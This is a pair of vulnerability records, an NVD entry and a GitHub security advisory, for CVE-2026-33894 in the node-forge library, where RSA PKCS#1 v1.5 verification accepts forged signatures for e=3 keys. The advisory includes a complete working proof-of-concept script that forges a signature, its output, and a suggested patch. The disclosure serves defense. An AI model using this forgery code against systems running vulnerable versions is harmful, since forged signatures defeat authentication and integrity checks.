{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing \u201cgarbage\u201d bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.  Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Version 1.4.0 patches the issue."
    }
  ],
  "id": "CVE-2026-33894",
  "lastModified": "2026-03-30T13:26:07.647",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-27T21:17:25.983",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://datatracker.ietf.org/doc/html/rfc2313#section-8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://www.rfc-editor.org/rfc/rfc8017.html"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-347"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33894"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T22:02:35Z",
    "nvd_published_at": "2026-03-27T21:17:25Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nRSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing \u201cgarbage\u201d bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. \n\nAdditionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. \n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and recent prior versions.\n\n**Configuration assumptions:**\n- Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5).\n- `_parseAllDigestBytes: true` (default setting).\n\n## Root Cause\n\nIn `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest.\n\nTwo issues are present with this logic:\n\n1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.\n2. `_decodePkcs1_v1_5` comments mention that PS \u003c 8 bytes should be rejected, but does not implement this logic.\n\n## Reproduction Steps\n1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder.\n5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction.\n6. The script verifies both signatures with:\n  - forge verify (`_parseAllDigestBytes: true`), and\n  - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`).\n7. Confirm output includes:\n  - `control-forge-strict: true`\n  - `control-node: true`\n  - `forgery (forge library, strict): true`\n  - `forgery (node/OpenSSL): false`\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged signature in one run.\n- Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default).\n- Uses Node/OpenSSL as an differential verification baseline.\n- Observed output on tested commit:\n\n```text\ncontrol-forge-strict: true\ncontrol-node: true\nforgery (forge library, strict): true\nforgery (node/OpenSSL): false\n```\n\n\u003cdetails\u003e\u003csummary\u003erepro_min.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst crypto = require(\u0027crypto\u0027);\nconst forge = require(\u0027./forge/lib/index\u0027);\n\n// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:\n// SEQUENCE {\n//   SEQUENCE { OID sha256, NULL },\n//   OCTET STRING \u003c32-byte digest\u003e\n// }\n// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20\nconst DIGESTINFO_SHA256_PREFIX = Buffer.from(\n  \u0027300d060960864801650304020105000420\u0027,\n  \u0027hex\u0027\n);\n\nconst toBig = b =\u003e BigInt(\u00270x\u0027 + (b.toString(\u0027hex\u0027) || \u00270\u0027));\nfunction toBuf(n, len) {\n  let h = n.toString(16);\n  if (h.length % 2) h = \u00270\u0027 + h;\n  const b = Buffer.from(h, \u0027hex\u0027);\n  return b.length \u003c len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;\n}\nfunction cbrtFloor(n) {\n  let lo = 0n;\n  let hi = 1n;\n  while (hi * hi * hi \u003c= n) hi \u003c\u003c= 1n;\n  while (lo + 1n \u003c hi) {\n    const mid = (lo + hi) \u003e\u003e 1n;\n    if (mid * mid * mid \u003c= n) lo = mid;\n    else hi = mid;\n  }\n  return lo;\n}\nconst cbrtCeil = n =\u003e {\n  const f = cbrtFloor(n);\n  return f * f * f === n ? f : f + 1n;\n};\nfunction derLen(len) {\n  if (len \u003c 0x80) return Buffer.from([len]);\n  if (len \u003c= 0xff) return Buffer.from([0x81, len]);\n  return Buffer.from([0x82, (len \u003e\u003e 8) \u0026 0xff, len \u0026 0xff]);\n}\n\nfunction forgeStrictVerify(publicPem, msg, sig) {\n  const key = forge.pki.publicKeyFromPem(publicPem);\n  const md = forge.md.sha256.create();\n  md.update(msg.toString(\u0027utf8\u0027), \u0027utf8\u0027);\n  try {\n    // verify(digestBytes, signatureBytes, scheme, options):\n    // - digestBytes: raw SHA-256 digest bytes for `msg`\n    // - signatureBytes: binary-string representation of the candidate signature\n    // - scheme: undefined =\u003e default RSASSA-PKCS1-v1_5\n    // - options._parseAllDigestBytes: require DER parser to consume all bytes\n    //   (this is forge\u0027s default for verify; set explicitly here for clarity)\n    return { ok: key.verify(md.digest().getBytes(), sig.toString(\u0027binary\u0027), undefined, { _parseAllDigestBytes: true }) };\n  } catch (err) {\n    return { ok: false, err: err.message };\n  }\n}\n\nfunction main() {\n  const { privateKey, publicKey } = crypto.generateKeyPairSync(\u0027rsa\u0027, {\n    modulusLength: 4096,\n    publicExponent: 3,\n    privateKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n    publicKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 }\n  });\n\n  const jwk = crypto.createPublicKey(publicKey).export({ format: \u0027jwk\u0027 });\n  const nBytes = Buffer.from(jwk.n, \u0027base64url\u0027);\n  const n = toBig(nBytes);\n  const e = toBig(Buffer.from(jwk.e, \u0027base64url\u0027));\n  if (e !== 3n) throw new Error(\u0027expected e=3\u0027);\n\n  const msg = Buffer.from(\u0027forged-message-0\u0027, \u0027utf8\u0027);\n  const digest = crypto.createHash(\u0027sha256\u0027).update(msg).digest();\n  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);\n\n  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.\n  const k = nBytes.length;\n  // ffCount can be set to any value at or below 111 and produce a valid signature.\n  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.\n  // However, current versions of node forge do not check for this.\n  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.\n  const ffCount = 0; \n  // `garbageLen` affects DER length field sizes, which in turn affect how\n  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.\n  // A small cap (8) is enough here: DER length-size transitions are discrete\n  // and few (\u003c128, \u003c=255, \u003c=65535, ...), so this stabilizes quickly.\n  let garbageLen = 0;\n  for (let i = 0; i \u003c 8; i += 1) {\n    const gLenEnc = derLen(garbageLen).length;\n    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;\n    const seqLenEnc = derLen(seqLen).length;\n    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;\n    const next = k - fixed;\n    if (next === garbageLen) break;\n    garbageLen = next;\n  }\n  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;\n  const prefix = Buffer.concat([\n    Buffer.from([0x00, 0x01]),\n    Buffer.alloc(ffCount, 0xff),\n    Buffer.from([0x00]),\n    Buffer.from([0x30]), derLen(seqLen),\n    algAndDigest,\n    Buffer.from([0x04]), derLen(garbageLen)\n  ]);\n\n  // Build the numeric interval of all EM values that start with `prefix`:\n  // - `low`  = prefix || 00..00\n  // - `high` = one past (prefix || ff..ff)\n  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.\n  const suffixLen = k - prefix.length;\n  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));\n  const high = low + (1n \u003c\u003c BigInt(8 * suffixLen));\n  const s = cbrtCeil(low);\n  if (s \u003e cbrtFloor(high - 1n) || s \u003e= n) throw new Error(\u0027no candidate in interval\u0027);\n\n  const sig = toBuf(s, k);\n\n  const controlMsg = Buffer.from(\u0027control-message\u0027, \u0027utf8\u0027);\n  const controlSig = crypto.sign(\u0027sha256\u0027, controlMsg, {\n    key: privateKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  });\n\n  // forge verification calls (library under test)\n  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);\n  const forgedForge = forgeStrictVerify(publicKey, msg, sig);\n\n  // Node.js verification calls (OpenSSL-backed reference behavior)\n  const controlNode = crypto.verify(\u0027sha256\u0027, controlMsg, {\n    key: publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, controlSig);\n  const forgedNode = crypto.verify(\u0027sha256\u0027, msg, {\n    key: publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, sig);\n\n  console.log(\u0027control-forge-strict:\u0027, controlForge.ok, controlForge.err || \u0027\u0027);\n  console.log(\u0027control-node:\u0027, controlNode);\n  console.log(\u0027forgery (forge library, strict):\u0027, forgedForge.ok, forgedForge.err || \u0027\u0027);\n  console.log(\u0027forgery (node/OpenSSL):\u0027, forgedNode);\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\n- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS \u003e= 8`) in `_decodePkcs1_v1_5` before accepting the block.\n- Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).\n\nHere is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:\n\n```diff\nindex b207a63..ec8a9c1 100644\n--- a/lib/rsa.js\n+++ b/lib/rsa.js\n@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {\n             error.errors = errors;\n             throw error;\n           }\n+\n+          if(obj.value.length != 2) {\n+            var error = new Error(\n+              \u0027DigestInfo ASN.1 object must contain exactly 2 fields for \u0027 +\n+              \u0027a valid RSASSA-PKCS1-v1_5 package.\u0027);\n+            error.errors = errors;\n+            throw error;\n+          }\n           // check hash algorithm identifier\n           // see PKCS1-v1-5DigestAlgorithms in RFC 8017\n           // FIXME: add support to validator for strict value choices\n@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {\n       }\n       ++padNum;\n     }\n+\n+    if (padNum \u003c 8) {\n+      throw new Error(\u0027Encryption block is invalid.\u0027);\n+    }\n   } else if(bt === 0x02) {\n     // look for 0x00 byte\n     padNum = 0;\n```\n## Resources\n- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8\n  - \u003e This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. \n- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html\n- `lib/rsa.js` `key.verify(...)` at lines ~1139-1223.\n- `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695.\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.",
  "id": "GHSA-ppp5-5v6c-4jwp",
  "modified": "2026-03-27T21:50:55Z",
  "published": "2026-03-26T22:02:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33894"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc2313#section-8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    },
    {
      "type": "WEB",
      "url": "https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc8017.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forge has signature forgery in RSA-PKCS due to ASN.1 extra field  "
}